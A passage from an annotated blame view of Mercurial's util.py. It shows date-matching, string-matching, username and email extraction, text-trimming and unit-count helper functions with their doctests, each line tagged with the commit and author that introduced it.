85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
  2501
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2502
def matchdate(date):
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2503
    """Return a function that matches a given date match specifier
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2504
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2505
    Formats include:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2506
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2507
    '{date}' match a given date to the accuracy provided
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2508
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2509
    '<{date}' on or before a given date
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2510
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2511
    '>{date}' on or after a given date
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2512
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2513
    >>> p1 = parsedate(b"10:29:59")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2514
    >>> p2 = parsedate(b"10:30:00")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2515
    >>> p3 = parsedate(b"10:30:59")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2516
    >>> p4 = parsedate(b"10:31:00")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2517
    >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2518
    >>> f = matchdate(b"10:30")
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2519
    >>> f(p1[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2520
    False
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2521
    >>> f(p2[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2522
    True
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2523
    >>> f(p3[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2524
    True
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2525
    >>> f(p4[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2526
    False
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2527
    >>> f(p5[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2528
    False
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2529
    """
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2530
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2531
    def lower(date):
20679
0916f829eb8d util: move from dict() construction to {} literals
Augie Fackler <raf@durin42.com>
parents: 20542
diff changeset
  2532
        d = {'mb': "1", 'd': "1"}
6230
c7253d1a774e dates: Fix bare times to be relative to "today"
Matt Mackall <mpm@selenic.com>
parents: 6229
diff changeset
  2533
        return parsedate(date, extendeddateformats, d)[0]
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2534
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2535
    def upper(date):
20679
0916f829eb8d util: move from dict() construction to {} literals
Augie Fackler <raf@durin42.com>
parents: 20542
diff changeset
  2536
        d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
13200
6f011cf52f9a avoid .split() in for loops and use tuples instead
David Soria Parra <dsp@php.net>
parents: 13197
diff changeset
  2537
        for days in ("31", "30", "29"):
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2538
            try:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2539
                d["d"] = days
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2540
                return parsedate(date, extendeddateformats, d)[0]
36234
48783333f45c date: fix parsing months
Jun Wu <quark@fb.com>
parents: 35755
diff changeset
  2541
            except error.ParseError:
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2542
                pass
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2543
        d["d"] = "28"
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2544
        return parsedate(date, extendeddateformats, d)[0]
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2545
7953
8c6f823efcc9 Correct a bug on date formats with '>' or '<' accompanied by space characters.
Justin Peng <justin.peng.sw@gmail.com>
parents: 7948
diff changeset
  2546
    date = date.strip()
13780
bc7b5d1c1999 util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents: 13734
diff changeset
  2547
bc7b5d1c1999 util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents: 13734
diff changeset
  2548
    if not date:
bc7b5d1c1999 util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents: 13734
diff changeset
  2549
        raise Abort(_("dates cannot consist entirely of whitespace"))
bc7b5d1c1999 util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents: 13734
diff changeset
  2550
    elif date[0] == "<":
13869
b470894c33f8 date: fixup breakage from ">" fix
Matt Mackall <mpm@selenic.com>
parents: 13867
diff changeset
  2551
        if not date[1:]:
13886
fe48c57390f2 help/dates: use DATE as place-holder in help and abort texts
Martin Geisler <mg@aragost.com>
parents: 13879
diff changeset
  2552
            raise Abort(_("invalid day spec, use '<DATE'"))
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2553
        when = upper(date[1:])
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2554
        return lambda x: x <= when
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2555
    elif date[0] == ">":
13869
b470894c33f8 date: fixup breakage from ">" fix
Matt Mackall <mpm@selenic.com>
parents: 13867
diff changeset
  2556
        if not date[1:]:
13886
fe48c57390f2 help/dates: use DATE as place-holder in help and abort texts
Martin Geisler <mg@aragost.com>
parents: 13879
diff changeset
  2557
            raise Abort(_("invalid day spec, use '>DATE'"))
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2558
        when = lower(date[1:])
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2559
        return lambda x: x >= when
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2560
    elif date[0] == "-":
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2561
        try:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2562
            days = int(date[1:])
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2563
        except ValueError:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2564
            raise Abort(_("invalid day spec: %s") % date[1:])
13889
9a96efc4af8a util: make 'hg log -d --2' abort (issue2734)
Yun Lee <yunlee.bj@gmail.com>
parents: 13886
diff changeset
  2565
        if days < 0:
29977
73b1c328a7da util: use single quotes in use warning
timeless <timeless@mozdev.org>
parents: 29889
diff changeset
  2566
            raise Abort(_("%s must be nonnegative (see 'hg help dates')")
13889
9a96efc4af8a util: make 'hg log -d --2' abort (issue2734)
Yun Lee <yunlee.bj@gmail.com>
parents: 13886
diff changeset
  2567
                % date[1:])
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2568
        when = makedate()[0] - days * 3600 * 24
3813
fc5ba0ab7f45 Add --date support to log
Matt Mackall <mpm@selenic.com>
parents: 3812
diff changeset
  2569
        return lambda x: x >= when
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2570
    elif " to " in date:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2571
        a, b = date.split(" to ")
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2572
        start, stop = lower(a), upper(b)
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2573
        return lambda x: x >= start and x <= stop
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2574
    else:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2575
        start, stop = lower(date), upper(date)
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2576
        return lambda x: x >= start and x <= stop
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2577
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2578
def stringmatcher(pattern, casesensitive=True):
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2579
    """
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2580
    accepts a string, possibly starting with 're:' or 'literal:' prefix.
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2581
    returns the matcher name, pattern, and matcher function.
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2582
    missing or unknown prefixes are treated as literal matches.
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2583
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2584
    helper for tests:
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2585
    >>> def test(pattern, *tests):
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2586
    ...     kind, pattern, matcher = stringmatcher(pattern)
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2587
    ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2588
    >>> def itest(pattern, *tests):
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2589
    ...     kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2590
    ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2591
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2592
    exact matching (no prefix):
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2593
    >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2594
    ('literal', 'abcdefg', [False, False, True])
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2595
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2596
    regex matching ('re:' prefix)
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2597
    >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2598
    ('re', 'a.+b', [False, False, True])
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2599
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2600
    force exact matches ('literal:' prefix)
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2601
    >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2602
    ('literal', 're:foobar', [False, True])
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2603
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2604
    unknown prefixes are ignored and treated as literals
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2605
    >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2606
    ('literal', 'foo:bar', [False, False, True])
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2607
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2608
    case insensitive regex matches
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2609
    >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2610
    ('re', 'A.+b', [False, False, True])
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2611
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2612
    case insensitive literal matches
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2613
    >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2614
    ('literal', 'ABCDEFG', [False, False, True])
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2615
    """
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2616
    if pattern.startswith('re:'):
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2617
        pattern = pattern[3:]
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2618
        try:
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2619
            flags = 0
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2620
            if not casesensitive:
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2621
                flags = remod.I
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2622
            regex = remod.compile(pattern, flags)
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2623
        except remod.error as e:
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2624
            raise error.ParseError(_('invalid regular expression: %s')
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2625
                                   % e)
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2626
        return 're', pattern, regex.search
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2627
    elif pattern.startswith('literal:'):
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2628
        pattern = pattern[8:]
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2629
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2630
    match = pattern.__eq__
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2631
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2632
    if not casesensitive:
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2633
        ipat = encoding.lower(pattern)
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2634
        match = lambda s: ipat == encoding.lower(s)
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
  2635
    return 'literal', pattern, match
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
  2636
1903
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2637
def shortuser(user):
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2638
    """Return a short representation of a user name or email address."""
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2639
    f = user.find('@')
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2640
    if f >= 0:
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2641
        user = user[:f]
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2642
    f = user.find('<')
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2643
    if f >= 0:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2644
        user = user[f + 1:]
3176
7492b33bdd9f shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3147
diff changeset
  2645
    f = user.find(' ')
7492b33bdd9f shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3147
diff changeset
  2646
    if f >= 0:
7492b33bdd9f shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3147
diff changeset
  2647
        user = user[:f]
3533
bb44489b901f shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents: 3466
diff changeset
  2648
    f = user.find('.')
bb44489b901f shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents: 3466
diff changeset
  2649
    if f >= 0:
bb44489b901f shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents: 3466
diff changeset
  2650
        user = user[:f]
1903
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2651
    return user
1920
b7cc0f323a4c merge with crew.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1903 1882
diff changeset
  2652
16360
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2653
def emailuser(user):
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2654
    """Return the user portion of an email address."""
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2655
    f = user.find('@')
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2656
    if f >= 0:
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2657
        user = user[:f]
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2658
    f = user.find('<')
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2659
    if f >= 0:
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2660
        user = user[f + 1:]
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2661
    return user
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
  2662
5975
75d9fe70c654 templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents: 5949
diff changeset
  2663
def email(author):
75d9fe70c654 templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents: 5949
diff changeset
  2664
    '''get email of author.'''
75d9fe70c654 templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents: 5949
diff changeset
  2665
    r = author.find('>')
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2666
    if r == -1:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2667
        r = None
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2668
    return author[author.find('<') + 1:r]
5975
75d9fe70c654 templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents: 5949
diff changeset
  2669
3767
1861fa38a6a7 Move ellipsis code to util.ellipsis() and improve maxlength handling.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3721
diff changeset
  2670
def ellipsis(text, maxlength=400):
21857
86c2d792a4b7 util: replace 'ellipsis' implementation by 'encoding.trim'
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21813
diff changeset
  2671
    """Trim string to at most maxlength (default: 400) columns in display."""
86c2d792a4b7 util: replace 'ellipsis' implementation by 'encoding.trim'
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21813
diff changeset
  2672
    return encoding.trim(text, maxlength, ellipsis='...')
3767
1861fa38a6a7 Move ellipsis code to util.ellipsis() and improve maxlength handling.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3721
diff changeset
  2673
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2674
def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2675
    '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2676
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2677
    def go(count):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2678
        for multiplier, divisor, format in unittable:
31946
f3b80537a70d util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents: 31934
diff changeset
  2679
            if abs(count) >= divisor * multiplier:
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2680
                return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2681
        return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2682
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2683
    return go
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2684
31662
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2685
def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2686
    """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2687
    0-based range.
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2688
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2689
    >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2690
    (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2691
    >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2692
    Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2693
        ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2694
    ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2695
    >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2696
    Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2697
        ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
